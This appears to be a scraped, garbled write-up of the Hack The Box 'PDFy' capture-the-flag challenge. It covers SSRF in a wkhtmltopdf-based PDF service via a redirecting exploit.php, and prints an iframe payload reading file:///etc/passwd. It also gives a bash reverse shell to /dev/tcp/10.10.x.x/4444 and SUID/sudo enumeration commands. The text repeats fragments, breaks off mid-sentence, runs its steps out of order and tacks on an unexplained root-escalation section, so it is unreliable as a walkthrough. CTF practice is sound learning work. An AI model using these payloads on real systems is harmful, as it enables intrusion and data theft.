Pdfy Htb Writeup Upd

The PDFy backend sends a request to your exploit.php script.

Server-Side Request Forgery (SSRF) / Local File Inclusion (LFI) Target Component: wkhtmltopdf

Trigger a reverse shell: http://10.10.10.x/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1' We are now on the box as the www-data user. 5. Privilege Escalation: Root Access With low-level access, we need to escalate to root. Enumerating Local Privileges We check for SUID binaries, sudo rights, or cron jobs. sudo -l find / -perm -u=s -type f 2>/dev/null Use code with caution. Exploit: System Service/Cron Job pdfy htb writeup upd

To find the flag, look for the unique root paths or user home directories exposed in the /etc/passwd dump. Modify the exploit.php file on your server to target the specific flag file destination (commonly /flag.txt or /root/flag.txt ): Use code with caution.

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We obtain a root shell, and our mission is accomplished!

To bypass this restriction, you must use a . By hosting an external script that sends a redirect header to a local resource, the backend parser follows the redirect internally, circumventing the frontend URL filtering. 2. Step-by-Step Walkthrough Step 1: Initial Reconnaissance The PDFy backend sends a request to your exploit

POST /api/cache HTTP/1.1 Host: Content-Type: application/json "url": "http:// :8080/exploit.php" Use code with caution.

<img src="http://127.0.0.1:8080/generate?html=<iframe src='file:///etc/passwd' />"> Privilege Escalation: Root Access With low-level access, we

Inputting local loopback addresses like http://127.0.0.1 or http://localhost triggers an error or blocks the request. This reveals a basic blocklist filter on input strings. Step 2: Source Code and API Discovery